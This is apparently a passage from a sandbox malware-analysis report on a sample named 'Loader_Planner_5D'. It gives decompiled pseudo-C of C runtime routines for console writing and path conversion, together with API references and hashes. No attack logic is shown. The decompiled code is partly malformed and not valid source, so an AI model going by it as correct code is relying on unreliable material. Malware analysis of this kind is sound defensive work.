				 *((char*)(_t337 + 0x40)) =  *_t329;
				 *((intOrPtr*)(_t335 - 0x7d)) = 0;
				r12d = 1;
				if (r8d != 0xfde9) goto 0x10651344;
				_t346 = 0x3e + _t374 * 8 +  *((intOrPtr*)(0x7ff710620000 + 0x6b470 + _t270 * 8));
				if ( *_t346 == dil) goto 0x106511f8;
				_t371 = _t328 + 1;
				if (_t371 - 5 < 0) goto 0x106511e5;
				if (_t371 == 0) goto 0x106512d6;
				r12d =  *((char*)(_t293 + 0x7ff7106893f0));
				r12d = r12d + 1;
				_t182 = r12d - 1;
				 *((intOrPtr*)(_t335 - 0x69)) = _t182;
				_t340 = _t182;
				if (_t340 -  *((intOrPtr*)(_t335 - 0x71)) - _t329 > 0) goto 0x106514ab;
				_t294 = _t328;
				 *((char*)(_t335 + _t294 - 1)) =  *_t346;
				if (_t294 + 1 - _t371 < 0) goto 0x1065123d;
				if (_t340 <= 0) goto 0x1065126e;
				E00007FF77FF710647D30();
				_t317 = _t328;
				 *((intOrPtr*)( *((intOrPtr*)(0x7ff710620000 + 0x6b470 +  *(_t335 - 0x59) * 8)) + _t317 + 0x3e + _t374 * 8)) = dil;
				if (_t317 + 1 - _t371 < 0) goto 0x10651271;
				 *((long long*)(_t335 - 0x41)) = _t328;
				_t275 = _t335 - 1;
				 *((long long*)(_t335 - 0x39)) = _t275;
				_t186 = (0 | r12d == 0x00000004) + 1;
				r12d = _t186;
				r8d = _t186;
				 *((long long*)(_t337 + 0x20)) = _t366;
				E00007FF77FF71065BEE0(_t275, _t288, _t335 - 0x7d, _t335 - 0x39, _t340, _t335 - 0x41);
				if (_t275 == 0xffffffff) goto 0x1065153c;
				_t330 = _t329 +  *((intOrPtr*)(_t335 - 0x69)) - 1;
				goto 0x106513d9;
				_t367 =  *((char*)(_t275 + 0x7ff7106893f0));
				_t212 = _t367 + 1;
				_t342 =  *((intOrPtr*)(_t335 - 0x71)) - _t330;
				if (_t212 - _t342 > 0) goto 0x106514d9;
				 *((long long*)(_t335 - 0x69)) = _t328;
				 *((long long*)(_t335 - 0x31)) = _t330;
				_t193 = (0 | _t212 == 0x00000004) + 1;
				r14d = _t193;
				r8d = _t193;
				_t277 =  *((intOrPtr*)(_t335 - 0x51));
				 *((long long*)(_t337 + 0x20)) = _t277;
				E00007FF77FF71065BEE0(_t277, _t288, _t335 - 0x7d, _t335 - 0x31, _t342, _t335 - 0x69);
				if (_t277 == 0xffffffff) goto 0x1065153c;
				_t331 = _t330 + _t367;
				r12d = r14d;
				_t368 =  *((intOrPtr*)(_t335 - 0x51));
				goto 0x106513d9;
				_t358 =  *(_t335 - 0x59);
				_t350 =  *((intOrPtr*)(0x7ff710620000 + 0x6b470 + _t358 * 8));
				_t213 =  *(_t350 + 0x3d + _t374 * 8);
				if ((_t213 & 0x00000004) == 0) goto 0x1065137b;
				 *((char*)(_t335 + 7)) =  *((intOrPtr*)(_t350 + 0x3e + _t374 * 8));
				 *((char*)(_t335 + 8)) =  *_t331;
				 *(_t350 + 0x3d + _t374 * 8) = _t213 & 0x000000fb;
				r8d = 2;
				goto 0x106513c4;
				r8d =  *_t331 & 0x000000ff;
				_t102 = _t368 + 0x18; // 0x894c08245c8948cc
				if ( *((intOrPtr*)( *((intOrPtr*)( *_t102)) + _t342 * 2)) >= 0) goto 0x106513be;
				_t372 =  &(_t331[1]);
				if (_t372 -  *((intOrPtr*)(_t335 - 0x71)) >= 0) goto 0x10651517;
				r8d = 2;
				if (E00007FF77FF7106559D8(_t213 & 0x000000fb, _t229, _t288, _t335 - 0x7d, _t331, _t328, _t331, _t335, _t342,  *((intOrPtr*)(_t335 - 0x51))) == 0xffffffff) goto 0x1065153c;
				_t332 = _t372;
				goto 0x106513d9;
				_t198 = E00007FF77FF7106559D8(_t213 & 0x000000fb, _t229, _t288, _t335 - 0x7d, _t332, _t328, _t332, _t335, _t364,  *((intOrPtr*)(_t335 - 0x51)));
				if (_t198 == 0xffffffff) goto 0x1065153c;
				_t333 =  &(_t332[1]);
				 *((long long*)(_t337 + 0x38)) = _t328;
				 *((long long*)(_t337 + 0x30)) = _t328;
				 *((intOrPtr*)(_t337 + 0x28)) = 5;
				_t279 = _t335 + 0xf;
				 *((long long*)(_t337 + 0x20)) = _t279;
				r9d = r12d;
				_t344 = _t335 - 0x7d;
				E00007FF77FF710657FB0();
				r14d = _t198;
				if (_t198 == 0) goto 0x1065153c;
				 *((long long*)(_t337 + 0x20)) = _t328;
				r8d = _t198;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0x10651534;
				 *((intOrPtr*)(_t288 + 4)) = __esi -  *((intOrPtr*)(_t335 - 0x49)) +  *((intOrPtr*)(_t288 + 8));
				if ( *((intOrPtr*)(_t335 - 0x79)) - r14d < 0) goto 0x1065153c;
				if ( *((char*)(_t337 + 0x40)) != 0xa) goto 0x10651494;
				 *((short*)(_t337 + 0x40)) = 0xd;
				 *((long long*)(_t337 + 0x20)) = _t328;
				_t128 = _t279 - 0xc; // 0x1
				r8d = _t128;
				_t325 = _t337 + 0x40;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0x10651534;
				if ( *((intOrPtr*)(_t335 - 0x79)) - 1 < 0) goto 0x1065153c;
				 *((intOrPtr*)(_t288 + 8)) =  *((intOrPtr*)(_t288 + 8)) + 1;
				 *((intOrPtr*)(_t288 + 4)) =  *((intOrPtr*)(_t288 + 4)) + 1;
				if (_t333 -  *((intOrPtr*)(_t335 - 0x71)) >= 0) goto 0x1065153c;
				r8d =  *(_t335 - 0x5d);
				goto 0x106511a7;
				if (_t325 <= 0) goto 0x106514d4;
				_t334 = _t333 - _t372;
				 *((char*)( *((intOrPtr*)(0x7ff710620000 + 0x6b470 + _t358 * 8)) + _t372 + 0x3e + _t374 * 8)) =  *((intOrPtr*)(_t334 + _t372));
				if (1 - _t325 < 0) goto 0x106514b3;
				 *((intOrPtr*)(_t288 + 4)) =  *((intOrPtr*)(_t288 + 4)) +  *((intOrPtr*)(_t288 + 4));
				goto 0x1065153c;
				if (_t344 <= 0) goto 0x10651511;
				_t326 = _t328;
				_t360 =  *(_t335 - 0x19) >> 6;
				_t355 =  *(_t335 - 0x11) +  *(_t335 - 0x11) * 8;
				 *((char*)( *((intOrPtr*)(0x7ff710620000 + 0x6b470 + _t360 * 8)) + _t355 * 8 + _t326 + 0x3e)) =  *((intOrPtr*)(_t326 + _t334));
				_t327 = _t326 + 1;
				if (2 - _t344 < 0) goto 0x106514f1;
				 *((intOrPtr*)(_t288 + 4)) =  *((intOrPtr*)(_t288 + 4)) + r8d;
				goto 0x1065153c;
				 *((char*)(_t355 + 0x3e + _t374 * 8)) =  *_t334;
				 *( *((intOrPtr*)(0x7ff710620000 + 0x6b470 + _t360 * 8)) + 0x3d + _t374 * 8) =  *( *((intOrPtr*)(0x7ff710620000 + 0x6b470 + _t360 * 8)) + 0x3d + _t374 * 8) | 0x00000004;
				_t174 = _t327 + 1; // 0x1
				 *((intOrPtr*)(_t288 + 4)) = _t174;
				goto 0x1065153c;
				 *_t288 = GetLastError();
				return E00007FF77FF710641DF0(_t206,  *((intOrPtr*)(_t335 - 0x61)),  *(_t335 + 0x17) ^ _t337);
			}

0x7ff7106510dc
0x7ff7106510ea
0x7ff7106510ee
0x7ff7106510f5
0x7ff7106510fd
0x7ff710651101
0x7ff71065110b
0x7ff71065110f
0x7ff710651112
0x7ff710651119
0x7ff71065111c
0x7ff710651120
0x7ff710651127
0x7ff71065112e
0x7ff710651132
0x7ff710651140
0x7ff710651144
0x7ff710651150
0x7ff710651155
0x7ff710651159
0x7ff71065115c
0x7ff71065115f
0x7ff710651169
0x7ff710651172
0x7ff710651177
0x7ff71065117c
0x7ff71065117c
0x7ff710651180
0x7ff710651184
0x7ff71065118a
0x7ff71065118d
0x7ff710651194
0x7ff71065119d
0x7ff7106511a1
0x7ff7106511a9
0x7ff7106511ad
0x7ff7106511b0
0x7ff7106511c4
0x7ff7106511df
0x7ff7106511e8
0x7ff7106511ec
0x7ff7106511f6
0x7ff7106511fb
0x7ff710651213
0x7ff71065121c
0x7ff710651222
0x7ff710651224
0x7ff71065122e
0x7ff710651234
0x7ff71065123a
0x7ff710651240
0x7ff71065124d
0x7ff710651252
0x7ff71065125e
0x7ff71065126e
0x7ff71065127c
0x7ff710651287
0x7ff710651289
0x7ff71065128d
0x7ff710651291
0x7ff71065129e
0x7ff7106512a0
0x7ff7106512a3
0x7ff7106512a6
0x7ff7106512b7
0x7ff7106512c0
0x7ff7106512ce
0x7ff7106512d1
0x7ff7106512d9
0x7ff7106512e2
0x7ff7106512ea
0x7ff7106512f3
0x7ff7106512f9
0x7ff7106512fd
0x7ff710651309
0x7ff71065130b
0x7ff71065130e
0x7ff710651311
0x7ff710651315
0x7ff710651326
0x7ff71065132f
0x7ff710651335
0x7ff710651338
0x7ff71065133b
0x7ff71065133f
0x7ff710651344
0x7ff710651348
0x7ff710651350
0x7ff710651358
0x7ff71065135f
0x7ff710651364
0x7ff71065136a
0x7ff71065136f
0x7ff710651379
0x7ff71065137b
0x7ff71065137f
0x7ff71065138b
0x7ff71065138d
0x7ff710651395
0x7ff71065139e
0x7ff7106513b3
0x7ff7106513b9
0x7ff7106513bc
0x7ff7106513cb
0x7ff7106513d3
0x7ff7106513d9
0x7ff7106513dc
0x7ff7106513e1
0x7ff7106513e6
0x7ff7106513ee
0x7ff7106513f2
0x7ff7106513f7
0x7ff7106513fa
0x7ff710651403
0x7ff710651408
0x7ff71065140d
0x7ff710651413
0x7ff71065141c
0x7ff710651432
0x7ff710651440
0x7ff710651447
0x7ff710651452
0x7ff710651459
0x7ff71065145e
0x7ff710651467
0x7ff710651467
0x7ff71065146b
0x7ff71065147b
0x7ff710651485
0x7ff71065148b
0x7ff71065148e
0x7ff710651498
0x7ff7106514a2
0x7ff7106514a6
0x7ff7106514ae
0x7ff7106514b0
0x7ff7106514c2
0x7ff7106514d2
0x7ff7106514d4
0x7ff7106514d7
0x7ff7106514dc
0x7ff7106514de
0x7ff7106514e5
0x7ff7106514ed
0x7ff710651500
0x7ff710651506
0x7ff71065150f
0x7ff710651511
0x7ff710651515
0x7ff710651519
0x7ff710651526
0x7ff71065152c
0x7ff71065152f
0x7ff710651532
0x7ff71065153a
0x7ff710651565

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF710651163
WriteFile.KERNEL32 ref: 00007FF71065142A
WriteFile.KERNEL32 ref: 00007FF710651473
GetLastError.KERNEL32 ref: 00007FF710651534

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: cc86ceaa6b42d8339f7a4e31822c04b3ff464672443006e6469246a8be5c5bae
Instruction ID: 00497f14fa9c604a8f308afe52b77d8a93856eb7bbf2c28182ee9833e3385796
Opcode Fuzzy Hash: cc86ceaa6b42d8339f7a4e31822c04b3ff464672443006e6469246a8be5c5bae
Instruction Fuzzy Hash: CFD1E262B08E85C9E710DF79D4401ACB7B2F7447E8B944232DE4E9BB99DE38E54AC710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710651AB8 Relevance: 6.2, APIs: 4, Instructions: 218
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 30%

			E00007FF77FF710651AB8(void* __ebx, signed int __ecx, void* __rax, void* __rcx, signed short* __rdx, void* __r8, signed int __r9, void* __r10) {
				signed short _v80;
				void* _v92;
				signed int _v96;
				intOrPtr _v104;
				intOrPtr _v108;
				long _v112;
				signed int _v120;
				long long _v128;
				signed int _v136;
				void* __rbx;
				void* __rsi;
				void* __rbp;
				void* _t107;
				long _t116;
				signed int _t117;
				void* _t122;
				signed int _t128;
				intOrPtr _t146;
				intOrPtr _t147;
				void* _t167;
				signed long long _t180;
				signed long long _t184;
				signed long long _t187;
				signed long long _t206;
				signed int _t207;
				void* _t208;
				void* _t210;
				void* _t226;
				signed long long _t227;
				signed short* _t228;
				void* _t229;
				signed short* _t230;

				_t122 = __ebx;
				r15d = r8d;
				_t184 = __r9;
				_t228 = __rdx;
				if (r8d == 0) goto 0x10651db5;
				if (__rdx != 0) goto 0x10651b1f;
				 *((char*)(__r9 + 0x38)) = 1;
				r8d = 0;
				 *((intOrPtr*)(__r9 + 0x34)) = 0;
				 *((char*)(__r9 + 0x30)) = 1;
				 *((intOrPtr*)(__r9 + 0x2c)) = 0x16;
				r9d = 0;
				_v128 = __r9;
				_v136 = _t207;
				E00007FF77FF71064A0C8(__rax, __r9, __rcx, __rdx, _t208, _t210, __r8);
				goto 0x10651db7;
				_t187 = __ecx >> 6;
				_v120 = _t187;
				_t227 = __ecx + __ecx * 8;
				if (_t208 - 1 - 1 > 0) goto 0x10651b55;
				if (( !r15d & 0x00000001) == 0) goto 0x10651ae8;
				if (( *( *((intOrPtr*)(0x1068b470 + _t187 * 8)) + 0x38 + _t227 * 8) & 0x00000020) == 0) goto 0x10651b6b;
				r8d = 0x7ff71068b472;
				0x1065432c();
				_v96 = _t207;
				if (E00007FF77FF71065BE3C(r12d, __ecx) == 0) goto 0x10651ca1;
				if ( *((intOrPtr*)( *((intOrPtr*)(0x1068b470 + _v120 * 8)) + 0x38 + _t227 * 8)) - dil >= 0) goto 0x10651ca1;
				if ( *((intOrPtr*)(__r9 + 0x28)) != dil) goto 0x10651bb2;
				E00007FF77FF71064B0B0( *((intOrPtr*)(0x1068b470 + _v120 * 8)), __r9, __r9, _v120, _t208);
				if ( *((intOrPtr*)( *((intOrPtr*)(__r9 + 0x18)) + 0x138)) != _t207) goto 0x10651bce;
				_t180 =  *((intOrPtr*)(0x1068b470 + _v120 * 8));
				if ( *((intOrPtr*)(_t180 + 0x39 + _t227 * 8)) == dil) goto 0x10651ca1;
				if (GetConsoleMode(??, ??) == 0) goto 0x10651c96;
				if (sil == 0) goto 0x10651c73;
				sil = sil - 1;
				if (sil - 1 > 0) goto 0x10651d3a;
				_t226 = _t228 + _t229;
				_v112 = _t207;
				_t230 = _t228;
				if (_t228 - _t226 >= 0) goto 0x10651d30;
				_v80 =  *_t230 & 0x0000ffff;
				_t107 = E00007FF77FF71065C084( *_t230 & 0xffff);
				_t128 = _v80 & 0x0000ffff;
				if (_t107 != _t128) goto 0x10651c65;
				_t146 = _v108 + 2;
				_v108 = _t146;
				if (_t128 != 0xa) goto 0x10651c56;
				if (E00007FF77FF71065C084(0xd) != 0xd) goto 0x10651c65;
				_t147 = _t146 + 1;
				_v108 = _t147;
				if ( &(_t230[1]) - _t226 >= 0) goto 0x10651d30;
				goto 0x10651c16;
				_v112 = GetLastError();
				goto 0x10651d30;
				r9d = r15d;
				_v136 = __r9;
				E00007FF77FF7106510DC(0xd, r12d, _t147, __r9,  &_v112, _t228);
				asm("movsd xmm0, [eax]");
				goto 0x10651d35;
				if ( *((intOrPtr*)( *((intOrPtr*)(0x1068b470 + _v120 * 8)) + 0x38 + _t227 * 8)) - dil >= 0) goto 0x10651cfd;
				_t167 = sil;
				if (_t167 == 0) goto 0x10651ce9;
				if (_t167 == 0) goto 0x10651cd5;
				if (_t147 - 1 != 1) goto 0x10651d45;
				r9d = r15d;
				E00007FF77FF71065166C(_t122, r12d, _t180, _t184,  &_v112, _t210, _t228);
				goto 0x10651c8a;
				r9d = r15d;
				E00007FF77FF710651788(r12d,  *((intOrPtr*)(_t180 + 8)), _t180, _t184,  &_v112, _t210, _t228);
				goto 0x10651c8a;
				r9d = r15d;
				E00007FF77FF710651568(_t122, r12d, _t180, _t184,  &_v112, _t210, _t228);
				goto 0x10651c8a;
				r8d = r15d;
				_v136 = _v136 & _t180;
				_v112 = _t180;
				_v104 = 0;
				if (WriteFile(??, ??, ??, ??, ??) != 0) goto 0x10651d2d;
				_t116 = GetLastError();
				_v112 = _t116;
				asm("movsd xmm0, [ebp-0x30]");
				asm("movsd [ebp-0x20], xmm0");
				if (_t116 != 0) goto 0x10651dae;
				_t117 = _v96;
				if (_t117 == 0) goto 0x10651d84;
				if (_t117 != 5) goto 0x10651d74;
				 *((char*)(_t184 + 0x30)) = 1;
				 *((intOrPtr*)(_t184 + 0x2c)) = 9;
				 *((char*)(_t184 + 0x38)) = 1;
				 *(_t184 + 0x34) = _t117;
				goto 0x10651b17;
				_t206 = _t184;
				E00007FF77FF71064A5E0(_v96, _t206);
				goto 0x10651b17;
				if (( *( *((intOrPtr*)(0x1068b470 + _t206 * 8)) + 0x38 + _t227 * 8) & 0x00000040) == 0) goto 0x10651d96;
				if ( *_t228 == 0x1a) goto 0x10651db5;
				 *(_t184 + 0x34) =  *(_t184 + 0x34) & 0x00000000;
				 *((char*)(_t184 + 0x30)) = 1;
				 *((intOrPtr*)(_t184 + 0x2c)) = 0x1c;
				 *((char*)(_t184 + 0x38)) = 1;
				goto 0x10651b17;
				goto 0x10651db7;
				return 0;
			}

0x7ff710651ab8
0x7ff710651ace
0x7ff710651ad4
0x7ff710651ad7
0x7ff710651add
0x7ff710651ae6
0x7ff710651ae8
0x7ff710651aed
0x7ff710651af0
0x7ff710651af6
0x7ff710651afd
0x7ff710651b05
0x7ff710651b08
0x7ff710651b0d
0x7ff710651b12
0x7ff710651b1a
0x7ff710651b2f
0x7ff710651b33
0x7ff710651b37
0x7ff710651b4a
0x7ff710651b53
0x7ff710651b5b
0x7ff710651b62
0x7ff710651b66
0x7ff710651b6e
0x7ff710651b84
0x7ff710651b93
0x7ff710651b9d
0x7ff710651ba2
0x7ff710651bbd
0x7ff710651bbf
0x7ff710651bc8
0x7ff710651be3
0x7ff710651bec
0x7ff710651bf2
0x7ff710651bf9
0x7ff710651bff
0x7ff710651c03
0x7ff710651c07
0x7ff710651c0d
0x7ff710651c1d
0x7ff710651c21
0x7ff710651c26
0x7ff710651c2d
0x7ff710651c2f
0x7ff710651c32
0x7ff710651c39
0x7ff710651c4d
0x7ff710651c4f
0x7ff710651c51
0x7ff710651c5d
0x7ff710651c63
0x7ff710651c6b
0x7ff710651c6e
0x7ff710651c73
0x7ff710651c76
0x7ff710651c85
0x7ff710651c8a
0x7ff710651c91
0x7ff710651caa
0x7ff710651cae
0x7ff710651cb1
0x7ff710651cb6
0x7ff710651cbb
0x7ff710651cc1
0x7ff710651cce
0x7ff710651cd3
0x7ff710651cd5
0x7ff710651ce2
0x7ff710651ce7
0x7ff710651ce9
0x7ff710651cf6
0x7ff710651cfb
0x7ff710651d08
0x7ff710651d0b
0x7ff710651d13
0x7ff710651d17
0x7ff710651d22
0x7ff710651d24
0x7ff710651d2a
0x7ff710651d30
0x7ff710651d35
0x7ff710651d4f
0x7ff710651d51
0x7ff710651d56
0x7ff710651d5b
0x7ff710651d5d
0x7ff710651d61
0x7ff710651d68
0x7ff710651d6c
0x7ff710651d6f
0x7ff710651d77
0x7ff710651d7a
0x7ff710651d7f
0x7ff710651d8e
0x7ff710651d94
0x7ff710651d96
0x7ff710651d9a
0x7ff710651d9e
0x7ff710651da5
0x7ff710651da9
0x7ff710651db3
0x7ff710651dc7

APIs

GetConsoleMode.KERNEL32(?,?,?,?,00000000,?,?,00000000,00000000,?,00000000,00000000,00007FF710651A58), ref: 00007FF710651BDB
GetLastError.KERNEL32(?,?,?,?,00000000,?,?,00000000,00000000,?,00000000,00000000,00007FF710651A58), ref: 00007FF710651C65

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: d7b4683b6a0277e5bf931f198792a145fe532ea70f477a4570662b6597cbef9b
Instruction ID: 9d1219d010cb1613ce78764c5afd8f8b86402e77fa3c09860cbd3ccdd593cbfd
Opcode Fuzzy Hash: d7b4683b6a0277e5bf931f198792a145fe532ea70f477a4570662b6597cbef9b
Instruction Fuzzy Hash: 2B91D072A18E56C5FB50AB6584806BCA7B2BB047E8F800236DE0E5B795DF3DF449C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710637C10 Relevance: 6.2, APIs: 4, Instructions: 162
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00007FF77FF710637C10(signed int __ebx, int __ecx, void* __edi, void* __esp, long long __rbx, intOrPtr* __rcx, long long __rdx, long long __rbp, void* __r8, void* __r13) {
				void* _v52;
				signed long long _v56;
				signed int _v68;
				signed long long _v72;
				signed long long _v76;
				intOrPtr _v84;
				void* _v88;
				char _v100;
				signed int _v112;
				signed char _v116;
				signed int _v132;
				void* __rsi;
				signed int _t53;
				signed long long _t88;
				signed short* _t99;
				intOrPtr _t101;
				signed short* _t108;
				signed long long _t115;
				signed long long _t122;
				intOrPtr* _t132;
				void* _t138;
				signed long long _t139;
				void* _t147;
				signed long long _t149;
				void* _t152;
				signed int* _t153;
				void* _t155;

				_t147 = _t138;
				 *((long long*)(_t147 + 0x18)) = __rbx;
				 *((long long*)(_t147 + 0x20)) = __rbp;
				_push(_t149);
				_t139 = _t138 - 0x70;
				_t88 =  *0x10689010; // 0xafe3859a1ce3
				_v56 = _t88 ^ _t139;
				_t132 = __rdx;
				 *((long long*)(_t147 - 0x60)) = __rdx;
				r12d = 0;
				r15d = r12d;
				 *(_t147 - 0x64) = r12d;
				asm("xorps xmm0, xmm0");
				asm("movups [esp+0x40], xmm0");
				 *(_t147 - 0x48) = _t149;
				 *((long long*)(_t147 - 0x40)) = 7;
				 *(_t147 - 0x58) = r12w;
				_t153 = __rcx + 0x10;
				_t115 =  *_t153;
				if (_t115 != 0) goto 0x10637c7b;
				 *(_t147 - 0x48) = _t115;
				 *(_t139 + 0x40 + _t115 * 2) = r12w;
				goto 0x10637cb6;
				if (_t115 - 7 > 0) goto 0x10637c9d;
				_v72 = _t115;
				memset(__edi, r12w & 0xffffffff, __ecx);
				 *(_t139 + 0x40 + _t115 * 2) = r12w;
				goto 0x10637cb6;
				_v132 = r12w;
				r8d = _v116 & 0x000000ff;
				E00007FF77FF71062A280(0, __edi + __ecx, __esp + 0xc, __rcx,  &_v100, _t115, __rdx, __rbp, _t115, __r13);
				_t117 =  >=  ? _v100 :  &_v100;
				if ( *((long long*)(__rcx + 0x18)) - 8 < 0) goto 0x10637ce3;
				_t99 =  *((intOrPtr*)(__rcx));
				goto 0x10637ce7;
				_t108 =  &(_t99[ *_t153]);
				if (_t99 == _t108) goto 0x10637d22;
				_t118 = ( >=  ? _v100 :  &_v100) - _t99;
				_t53 =  *_t99 & 0x0000ffff;
				_t54 =  ==  ? 0x2f : _t53;
				 *((short*)(_t99 + ( >=  ? _v100 :  &_v100) - _t99)) =  ==  ? 0x2f : _t53;
				if ( &(_t99[1]) != _t108) goto 0x10637d00;
				_t136 =  >=  ? _v100 :  &_v100;
				_t101 = _v84;
				r14d = E00007FF77FF710660FEC(0);
				asm("xorps xmm0, xmm0");
				asm("movups [esi], xmm0");
				 *(_t132 + 0x10) = _t149;
				 *((long long*)(_t132 + 0x18)) = 0xf;
				 *_t132 = 0;
				r15d = r15d | 0x00000004;
				_v112 = r15d;
				if (_t101 == 0) goto 0x10637dc5;
				if (_t101 - 0x7fffffff > 0) goto 0x10637e32;
				_v132 = r12d;
				r9d = 0;
				r8d = __ebx;
				if (E00007FF77FF71066105C(_t55,  >=  ? _v100 :  &_v100, _t132,  >=  ? _v100 :  &_v100, _t115, _t155) != 0) goto 0x10637e38;
				r8d = 0;
				E00007FF77FF71062B1E0(_t56, _t132, 0x2f);
				if ( *((long long*)(_t132 + 0x18)) - 0x10 < 0) goto 0x10637dab;
				_v132 = 0x2f;
				r8d = __ebx;
				if (E00007FF77FF71066105C(r14d, _t136, _t132, _t136,  *_t132, _t152) != 0) goto 0x10637e40;
				_t122 = _v76;
				if (_t122 - 8 < 0) goto 0x10637e03;
				_t110 = _v100;
				if (2 + _t122 * 2 - 0x1000 < 0) goto 0x10637dfe;
				if (_v100 -  *((intOrPtr*)(_t110 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x10637e2c;
				return E00007FF77FF710641DF0(E00007FF77FF710641E10(_v100 -  *((intOrPtr*)(_t110 - 8)) + 0xfffffff8,  *((intOrPtr*)(_t110 - 8))), r14d, _v68 ^ _t139);
			}

0x7ff710637c10
0x7ff710637c13
0x7ff710637c17
0x7ff710637c1d
0x7ff710637c23
0x7ff710637c27
0x7ff710637c31
0x7ff710637c36
0x7ff710637c3c
0x7ff710637c40
0x7ff710637c43
0x7ff710637c46
0x7ff710637c4a
0x7ff710637c4d
0x7ff710637c52
0x7ff710637c56
0x7ff710637c5e
0x7ff710637c63
0x7ff710637c67
0x7ff710637c6d
0x7ff710637c6f
0x7ff710637c73
0x7ff710637c79
0x7ff710637c7f
0x7ff710637c81
0x7ff710637c92
0x7ff710637c95
0x7ff710637c9b
0x7ff710637c9d
0x7ff710637ca6
0x7ff710637cb1
0x7ff710637cc9
0x7ff710637cd5
0x7ff710637cda
0x7ff710637ce1
0x7ff710637ce3
0x7ff710637cea
0x7ff710637cec
0x7ff710637d00
0x7ff710637d07
0x7ff710637d0b
0x7ff710637d16
0x7ff710637d2b
0x7ff710637d2f
0x7ff710637d39
0x7ff710637d3c
0x7ff710637d3f
0x7ff710637d42
0x7ff710637d46
0x7ff710637d4e
0x7ff710637d51
0x7ff710637d55
0x7ff710637d5d
0x7ff710637d66
0x7ff710637d6c
0x7ff710637d71
0x7ff710637d74
0x7ff710637d8a
0x7ff710637d93
0x7ff710637d99
0x7ff710637da6
0x7ff710637dab
0x7ff710637daf
0x7ff710637dc3
0x7ff710637dc5
0x7ff710637dce
0x7ff710637dd8
0x7ff710637de7
0x7ff710637dfc
0x7ff710637e2b

APIs

__std_fs_code_page.LIBCPMT ref: 00007FF710637D34
__std_fs_convert_wide_to_narrow.LIBCPMT ref: 00007FF710637D7C
__std_fs_convert_wide_to_narrow.LIBCPMT ref: 00007FF710637DB8

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: __std_fs_convert_wide_to_narrow$__std_fs_code_page
String ID:
API String ID: 3645842244-0
Opcode ID: e6240b63c91d160403b5fd08df84b598774675836d3fa129ad573f700a7e5b55
Instruction ID: 139ab9a7c571e55a4a1ddc4312959f610195d88945834057c5902afb67c2fe9e
Opcode Fuzzy Hash: e6240b63c91d160403b5fd08df84b598774675836d3fa129ad573f700a7e5b55
Instruction Fuzzy Hash: 0D51B162718B8182EB20AB21E44426DF3A2FF84BE0F945135EE9D0BB95DF3DE445C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7106677F4 Relevance: 6.2, APIs: 4, Instructions: 159
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00007FF77FF7106677F4(signed int __edx, void* __eflags, intOrPtr* __rax, long long __rbx, signed char* __rcx, long long __rbp, long long _a8, char _a16, long long _a24) {
				signed int _t43;
				signed int _t55;
				signed int _t57;
				signed int _t73;
				void* _t96;
				signed int _t106;

				_a8 = __rbx;
				_a24 = __rbp;
				 *__rcx = 0;
				r14d = r9d;
				_t73 = __edx;
				if (__eflags == 0) goto 0x10667869;
				if (__eflags == 0) goto 0x10667845;
				if ((__edx & 0x00000003) - 1 == 1) goto 0x1066783e;
				E00007FF77FF71064A624(__rax);
				 *__rax = 0x16;
				E00007FF77FF71064A198();
				goto 0x1066786e;
				goto 0x1066786e;
				asm("sbb ecx, ecx");
				goto 0x1066786e;
				__rcx[4] = 0x80000000;
				_t43 = _t73 & 0x00000700;
				if ((dil & 0x00000008) == 0) goto 0x106678dd;
				if (_t43 == 0x100) goto 0x106678d6;
				if (_t43 == 0x200) goto 0x106678cf;
				if (_t43 == 0x300) goto 0x106678c8;
				if (_t43 == 0x400) goto 0x106678dd;
				if (_t43 == 0x500) goto 0x106678c1;
				if (_t43 == 0x600) goto 0x106678cf;
				_t96 = _t43 - 0x700;
				if (_t96 == 0) goto 0x106678c1;
				E00007FF77FF71064A624(__rax);
				 *__rax = 0x16;
				E00007FF77FF71064A198();
				goto 0x106678e2;
				goto 0x106678e2;
				goto 0x106678e2;
				goto 0x106678e2;
